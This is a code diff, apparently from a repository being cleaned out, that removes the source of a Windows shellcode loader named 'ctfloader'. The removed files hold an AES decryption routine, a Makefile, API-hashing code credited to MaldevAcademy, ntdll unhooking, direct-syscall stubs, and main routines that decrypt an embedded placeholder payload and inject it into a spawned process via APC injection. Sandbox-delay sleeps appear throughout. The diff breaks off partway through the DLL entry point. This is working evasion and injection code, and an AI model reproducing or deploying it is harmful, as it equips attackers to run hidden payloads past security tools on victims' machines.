t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[37];
|
||||
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[38];
|
||||
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[39];
|
||||
// Final round
|
||||
s0 = (Te4[(t0 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t3 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[40];
|
||||
s1 = (Te4[(t1 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t0 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[41];
|
||||
s2 = (Te4[(t2 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t1 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[42];
|
||||
s3 = (Te4[(t3 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t2 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[43];
|
||||
|
||||
// Output the result
|
||||
PUTU32(out_data + 0, s0);
|
||||
PUTU32(out_data + 4, s1);
|
||||
PUTU32(out_data + 8, s2);
|
||||
PUTU32(out_data + 12, s3);
|
||||
|
||||
ctx->iv[0] = s0;
|
||||
ctx->iv[1] = s1;
|
||||
ctx->iv[2] = s2;
|
||||
ctx->iv[3] = s3;
|
||||
}
|
||||
|
||||
static void AES_Decrypt(AES_CTX *ctx, const unsigned char in_data[AES_BLOCK_SIZE], unsigned char out_data[AES_BLOCK_SIZE]) {
|
||||
unsigned int s0, s1, s2, s3, t0, t1, t2, t3, offset;
|
||||
|
||||
unsigned int temp[4];
|
||||
|
||||
s0 = GETU32(in_data + 0) ^ ctx->roundkey[0];
|
||||
s1 = GETU32(in_data + 4) ^ ctx->roundkey[1];
|
||||
s2 = GETU32(in_data + 8) ^ ctx->roundkey[2];
|
||||
s3 = GETU32(in_data + 12) ^ ctx->roundkey[3];
|
||||
|
||||
temp[0] = GETU32(in_data + 0);
|
||||
temp[1] = GETU32(in_data + 4);
|
||||
temp[2] = GETU32(in_data + 8);
|
||||
temp[3] = GETU32(in_data + 12);
|
||||
|
||||
// round 1
|
||||
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[ 4];
|
||||
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[ 5];
|
||||
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[ 6];
|
||||
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[ 7];
|
||||
// round 2
|
||||
s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[ 8];
|
||||
s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[ 9];
|
||||
s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[10];
|
||||
s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[11];
|
||||
// round 3
|
||||
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[12];
|
||||
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[13];
|
||||
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[14];
|
||||
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[15];
|
||||
// round 4
|
||||
s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[16];
|
||||
s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[17];
|
||||
s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[18];
|
||||
s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[19];
|
||||
// round 5
|
||||
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[20];
|
||||
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[21];
|
||||
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[22];
|
||||
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[23];
|
||||
// round 6
|
||||
s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[24];
|
||||
s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[25];
|
||||
s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[26];
|
||||
s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[27];
|
||||
// round 7
|
||||
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[28];
|
||||
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[29];
|
||||
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[30];
|
||||
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[31];
|
||||
// round 8
|
||||
s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[32];
|
||||
s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[33];
|
||||
s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[34];
|
||||
s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[35];
|
||||
// round 9
|
||||
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[36];
|
||||
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[37];
|
||||
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[38];
|
||||
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[39];
|
||||
|
||||
// Final round 10
|
||||
s0 = (Td4[(t0 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t1 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[40];
|
||||
s1 = (Td4[(t1 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t2 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[41];
|
||||
s2 = (Td4[(t2 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t3 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[42];
|
||||
s3 = (Td4[(t3 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t0 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[43];
|
||||
|
||||
// Map the decrypted state to a byte array block
|
||||
PUTU32(out_data + 0, s0 ^ ctx->iv[0]);
|
||||
PUTU32(out_data + 4, s1 ^ ctx->iv[1]);
|
||||
PUTU32(out_data + 8, s2 ^ ctx->iv[2]);
|
||||
PUTU32(out_data + 12, s3 ^ ctx->iv[3]);
|
||||
|
||||
ctx->iv[0] = temp[0];
|
||||
ctx->iv[1] = temp[1];
|
||||
ctx->iv[2] = temp[2];
|
||||
ctx->iv[3] = temp[3];
|
||||
}
|
||||
|
||||
void AES_DecryptBuffer(AES_CTX* ctx, const unsigned char* in_data, unsigned char* out_data, size_t length) {
|
||||
// Ensure the input length is a multiple of AES_BLOCK_SIZE
|
||||
if (length % AES_BLOCK_SIZE != 0) {
|
||||
printf("[-] Error: Input length must be a multiple of %d\n", AES_BLOCK_SIZE);
|
||||
return;
|
||||
}
|
||||
|
||||
// Process each block
|
||||
for (size_t i = 0; i < length; i += AES_BLOCK_SIZE) {
|
||||
AES_Decrypt(ctx, in_data + i, out_data + i);
|
||||
}
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -1,85 +0,0 @@
|
||||
###############################################################################
|
||||
# Makefile for Clang (MinGW) on Windows
|
||||
# DO NOT MODIFY THIS FILE UNLESS YOU KNOW WHAT YOU ARE DOING
|
||||
###############################################################################
|
||||
|
||||
# If on Windows/MSYS2, you might have "x86_64-w64-mingw32-clang"
|
||||
CLANG := C:\msys64\mingw64\bin\clang
|
||||
|
||||
# Build format selector
|
||||
# EXE is the default so existing scripts continue to work unchanged.
|
||||
# -----------------------------------------------------------------------------
|
||||
FORMAT ?= EXE # { EXE | DLL }
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# 3. Source files
|
||||
# -----------------------------------------------------------------------------
|
||||
COMMON_SRCS := \
|
||||
api_hashing.c \
|
||||
inject.c \
|
||||
unhook.c \
|
||||
whispers.c
|
||||
|
||||
ifeq ($(FORMAT),DLL)
|
||||
MAIN_SRC := main_dll.c
|
||||
TARGET := ctfloader.dll
|
||||
else
|
||||
MAIN_SRC := main.c
|
||||
TARGET := ctfloader.exe
|
||||
endif
|
||||
|
||||
C_SRCS := $(COMMON_SRCS) $(MAIN_SRC)
|
||||
C_OBJS := $(C_SRCS:.c=.o)
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# 4. Assembly helper (Whispers)
|
||||
# -----------------------------------------------------------------------------
|
||||
ASM_SRC := whispers-asm.x64.asm
|
||||
ASM_OBJ := whispers-asm.o
|
||||
ASFLAGS := -f win64
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# 5. Flags
|
||||
# -----------------------------------------------------------------------------
|
||||
CFLAGS_BASE := -O2 -Wall -w -static
|
||||
LDFLAGS := -Wl,--disable-auto-import -s
|
||||
LIBS := -lwinhttp -lntdll
|
||||
|
||||
# DLL nuances: strip -static and add /shared linker options
|
||||
ifeq ($(FORMAT),DLL)
|
||||
CFLAGS := $(filter-out -static,$(CFLAGS_BASE)) -DCTF_AS_DLL
|
||||
LDFLAGS += -shared -Wl,--out-implib,libctfloader.a
|
||||
else
|
||||
CFLAGS := $(CFLAGS_BASE)
|
||||
endif
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# 6. Phony targets
|
||||
# -----------------------------------------------------------------------------
|
||||
.PHONY: all exe dll clean
|
||||
|
||||
all: $(TARGET)
|
||||
|
||||
exe:
|
||||
$(MAKE) FORMAT=EXE
|
||||
|
||||
dll:
|
||||
$(MAKE) FORMAT=DLL
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# 7. Linking & compilation rules
|
||||
# -----------------------------------------------------------------------------
|
||||
$(TARGET): $(C_OBJS) $(ASM_OBJ)
|
||||
$(CLANG) $(CFLAGS) -o $@ $^ $(LDFLAGS) $(LIBS)
|
||||
|
||||
%.o: %.c
|
||||
$(CLANG) $(CFLAGS) -c $< -o $@
|
||||
|
||||
$(ASM_OBJ): $(ASM_SRC)
|
||||
nasm $(ASFLAGS) $< -o $@
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# 8. House‑keeping
|
||||
# -----------------------------------------------------------------------------
|
||||
clean:
|
||||
rm -f *.o *.obj $(TARGET) libctfloader.a
|
||||
@@ -1,104 +0,0 @@
|
||||
/*
|
||||
|
||||
Authors: - @ MaldevAcademy - https://maldevacademy.com
|
||||
- @ VX-Underground - https://vx-underground.org
|
||||
|
||||
*/
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "structs.h"
|
||||
#include "functions.h"
|
||||
|
||||
DWORD HashStringDjb2A(PCHAR String)
|
||||
{
|
||||
ULONG Hash = INITIAL_HASH;
|
||||
INT c;
|
||||
|
||||
while (c = *String++)
|
||||
Hash = ((Hash << INITIAL_SEED) + Hash) + c;
|
||||
|
||||
return Hash;
|
||||
}
|
||||
|
||||
FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash) {
|
||||
|
||||
if (hModule == NULL || dwApiNameHash == NULL)
|
||||
return NULL;
|
||||
|
||||
PBYTE pBase = (PBYTE)hModule;
|
||||
|
||||
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
|
||||
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
|
||||
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;
|
||||
|
||||
PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
|
||||
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
|
||||
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
|
||||
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
|
||||
|
||||
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
|
||||
CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
|
||||
PVOID pFunctionAddress = (PVOID)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
|
||||
|
||||
// Hashing every function name pFunctionName
|
||||
// If both hashes are equal then we found the function we want
|
||||
if (dwApiNameHash == HASHA(pFunctionName)) {
|
||||
return pFunctionAddress;
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
HMODULE GetModuleHandleH(DWORD dwModuleNameHash) {
|
||||
|
||||
if (dwModuleNameHash == NULL)
|
||||
return NULL;
|
||||
|
||||
#ifdef _WIN64
|
||||
PPEB pPeb = (PEB*)(__readgsqword(0x60));
|
||||
#elif _WIN32
|
||||
PPEB pPeb = (PEB*)(__readfsdword(0x30));
|
||||
#endif
|
||||
|
||||
PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr);
|
||||
PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);
|
||||
|
||||
while (pDte) {
|
||||
|
||||
if (pDte->FullDllName.Length != NULL && pDte->FullDllName.Length < MAX_PATH) {
|
||||
|
||||
// converting `FullDllName.Buffer` to upper case string
|
||||
CHAR UpperCaseDllName[MAX_PATH];
|
||||
|
||||
DWORD i = 0;
|
||||
while (pDte->FullDllName.Buffer[i]) {
|
||||
UpperCaseDllName[i] = (CHAR)toupper(pDte->FullDllName.Buffer[i]);
|
||||
i++;
|
||||
}
|
||||
UpperCaseDllName[i] = '\0';
|
||||
|
||||
// hashing `UpperCaseDllName` and comparing the hash value to that's of the input `dwModuleNameHash`
|
||||
if (HASHA(UpperCaseDllName) == dwModuleNameHash)
|
||||
return pDte->Reserved2[0];
|
||||
|
||||
}
|
||||
else {
|
||||
break;
|
||||
}
|
||||
|
||||
pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
@@ -1,19 +0,0 @@
|
||||
#pragma once
|
||||
#include <stdint.h>
|
||||
|
||||
// API Hashing Part
|
||||
#define HASHA(API) (HashStringDjb2A((PCHAR) API))
|
||||
#define INITIAL_HASH #-INITIAL_HASH_VALUE-#
|
||||
#define INITIAL_SEED #-INITIAL_SEED_VALUE-#
|
||||
|
||||
BOOL GetContent(OUT PBYTE* pPayload, OUT SIZE_T* sSizeOfPayload);
|
||||
BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread);
|
||||
BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress);
|
||||
HMODULE GetModuleHandleH(DWORD dwModuleNameHash);
|
||||
FARPROC GetProcAddressH(HMODULE moduleHandle, DWORD hash);
|
||||
|
||||
BOOL Unhook(LPVOID module);
|
||||
LPVOID MapNtdll();
|
||||
|
||||
typedef BOOL (WINAPI* cCPA)(LPCSTR lpApplicationName,LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags, LPVOID lpEnvironment,LPCSTR lpCurrentDirectory,LPSTARTUPINFOA lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation);
|
||||
typedef BOOL (WINAPI* cDAPS)(DWORD dwProcessId);
|
||||
@@ -1,97 +0,0 @@
|
||||
/*
|
||||
|
||||
Author: @ MaldevAcademy - https://maldevacademy.com
|
||||
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <Tlhelp32.h>
|
||||
|
||||
#include "functions.h"
|
||||
#include "whispers.h"
|
||||
|
||||
BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) {
|
||||
|
||||
CHAR lpPath[MAX_PATH * 2];
|
||||
CHAR WnDr[MAX_PATH];
|
||||
|
||||
STARTUPINFO Si = { 0 };
|
||||
PROCESS_INFORMATION Pi = { 0 };
|
||||
|
||||
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
|
||||
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
|
||||
|
||||
Si.cb = sizeof(STARTUPINFO);
|
||||
|
||||
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH))
|
||||
return FALSE;
|
||||
|
||||
// Creating the target process path
|
||||
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
|
||||
|
||||
// API Hashing
|
||||
cCPA cCPAu = (cCPA) GetProcAddressH(GetModuleHandleH(#-KERNEL32_VALUE-#), #-CREATEPROCESSA_VALUE-#);
|
||||
|
||||
Sleep(15000);
|
||||
if(!cCPAu(
|
||||
NULL,
|
||||
lpPath,
|
||||
NULL,
|
||||
NULL,
|
||||
FALSE,
|
||||
DEBUG_PROCESS, // Instead of CREATE_SUSPENDED
|
||||
NULL,
|
||||
NULL,
|
||||
&Si,
|
||||
&Pi)) {
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
// Filling up the OUTPUT parameter with CreateProcessA's output
|
||||
*dwProcessId = Pi.dwProcessId;
|
||||
*hProcess = Pi.hProcess;
|
||||
*hThread = Pi.hThread;
|
||||
|
||||
Sleep(5000);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {
|
||||
|
||||
SIZE_T sNumberOfBytesWritten = 0,
|
||||
sSize = sSizeOfShellcode;
|
||||
ULONG uOldProtection = 0;
|
||||
NTSTATUS STATUS = 0x00;
|
||||
|
||||
if ((STATUS = NTAVM(hProcess, ppAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
|
||||
|
||||
//printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
////printf("[i] Allocated Memory At : 0x%p \n", *ppAddress);
|
||||
|
||||
if ((STATUS = NTWVM(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sSizeOfShellcode) {
|
||||
|
||||
//printf("[!] NtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
//printf("[+] Successfully Written %d Bytes\n", sNumberOfBytesWritten);
|
||||
|
||||
|
||||
Sleep(2500);
|
||||
if ((STATUS = NTPVM(hProcess, ppAddress, &sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
|
||||
|
||||
//printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
//printf("[+] Successfully changed memory region permission to RWX!\n");
|
||||
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
@@ -1,101 +0,0 @@
|
||||
#include <stdio.h>
|
||||
#include <Windows.h>
|
||||
|
||||
#include "whispers.h"
|
||||
#include "functions.h"
|
||||
#include "AES_128_CBC.h"
|
||||
|
||||
#define TARGET_PROCESS "#-TARGET_PROCESS-#"
|
||||
|
||||
|
||||
uint8_t aes_k[16] = { #-KEY_VALUE-# };
|
||||
uint8_t aes_i[16] = { #-IV_VALUE-# };
|
||||
|
||||
|
||||
unsigned char payload[] = {
|
||||
#-PAYLOAD_VALUE-#
|
||||
};
|
||||
|
||||
int main() {
|
||||
|
||||
SIZE_T sEncPayload = sizeof(payload);
|
||||
PVOID pClearText = NULL,
|
||||
pProcess = NULL;
|
||||
DWORD dwSizeOfClearText = 0,
|
||||
dwOldProtect = 0,
|
||||
dwProcessId = 0;
|
||||
AES_CTX ctx;
|
||||
|
||||
HANDLE hThread = NULL,
|
||||
hProcess = NULL;
|
||||
|
||||
NTSTATUS STATUS = 0x00;
|
||||
|
||||
|
||||
//printf("[+] Un-hooking Ntdll \n");
|
||||
LPVOID nt = MapNtdll();
|
||||
if (!nt)
|
||||
return -1;
|
||||
|
||||
if (!Unhook(nt))
|
||||
return -1;
|
||||
|
||||
Sleep(500);
|
||||
|
||||
//printf("[+] PID: %d\n", GetCurrentProcessId());
|
||||
//printf("[+] Got the content at position: 0x%p with size of %zu\n", &payload, sEncPayload);
|
||||
|
||||
// Decryption routine
|
||||
//printf("[i] Starting the decryption...\n");
|
||||
|
||||
Sleep(500);
|
||||
// Allocating memory to store the decrypted payload inside of pClearText
|
||||
pClearText = (PBYTE)malloc(sEncPayload);
|
||||
AES_DecryptInit(&ctx, aes_k, aes_i);
|
||||
AES_DecryptBuffer(&ctx, &payload, pClearText, sEncPayload);
|
||||
|
||||
//printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload);
|
||||
|
||||
Sleep(1500);
|
||||
//printf("[i] Creating suspended process..\n");
|
||||
// Creating a suspeneded process now
|
||||
if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
|
||||
|
||||
//printf("[-] Failed to create suspended process!\n");
|
||||
return -1;
|
||||
}
|
||||
//printf("[+] Process created with PID: %d\n", dwProcessId);
|
||||
|
||||
Sleep(2500);
|
||||
//printf("[i] Injecting the shellcode into the process..\n");
|
||||
// Doing the APC Injection
|
||||
if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) {
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
Sleep(1500);
|
||||
//printf("[i] Running the shellcode via NtQueueApcThread..\n");
|
||||
// Running the thread via QueueAPCThread
|
||||
if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) {
|
||||
|
||||
//printf("[-] NtQueueApcThrad failed!\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// API Hashing
|
||||
cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#);
|
||||
|
||||
//printf("[i] Position of DAPsu: 0x%p\n", cDAPSu);
|
||||
|
||||
Sleep(1000);
|
||||
// Stopping the debugging of the process, which launches the payload
|
||||
cDAPSu(dwProcessId);
|
||||
//printf("[+] Payload executed!\n");
|
||||
|
||||
CloseHandle(hThread);
|
||||
CloseHandle(hProcess);
|
||||
free(pClearText);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -1,117 +0,0 @@
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
|
||||
#include "whispers.h"
|
||||
#include "functions.h"
|
||||
#include "AES_128_CBC.h"
|
||||
|
||||
#define TARGET_PROCESS "#-TARGET_PROCESS-#"
|
||||
|
||||
|
||||
uint8_t aes_k[16] = { #-KEY_VALUE-# };
|
||||
uint8_t aes_i[16] = { #-IV_VALUE-# };
|
||||
|
||||
|
||||
unsigned char payload[] = {
|
||||
#-PAYLOAD_VALUE-#
|
||||
};
|
||||
|
||||
|
||||
extern __declspec(dllexport) int ctf()
|
||||
{
|
||||
|
||||
SIZE_T sEncPayload = sizeof(payload);
|
||||
PVOID pClearText = NULL,
|
||||
pProcess = NULL;
|
||||
DWORD dwSizeOfClearText = 0,
|
||||
dwOldProtect = 0,
|
||||
dwProcessId = 0;
|
||||
AES_CTX ctx;
|
||||
|
||||
HANDLE hThread = NULL,
|
||||
hProcess = NULL;
|
||||
|
||||
NTSTATUS STATUS = 0x00;
|
||||
|
||||
|
||||
//printf("[+] Un-hooking Ntdll \n");
|
||||
LPVOID nt = MapNtdll();
|
||||
if (!nt)
|
||||
return -1;
|
||||
|
||||
if (!Unhook(nt))
|
||||
return -1;
|
||||
|
||||
Sleep(500);
|
||||
|
||||
//printf("[+] PID: %d\n", GetCurrentProcessId());
|
||||
//printf("[+] Got the content at position: 0x%p with size of %zu\n", &payload, sEncPayload);
|
||||
|
||||
// Decryption routine
|
||||
//printf("[i] Starting the decryption...\n");
|
||||
|
||||
Sleep(500);
|
||||
// Allocating memory to store the decrypted payload inside of pClearText
|
||||
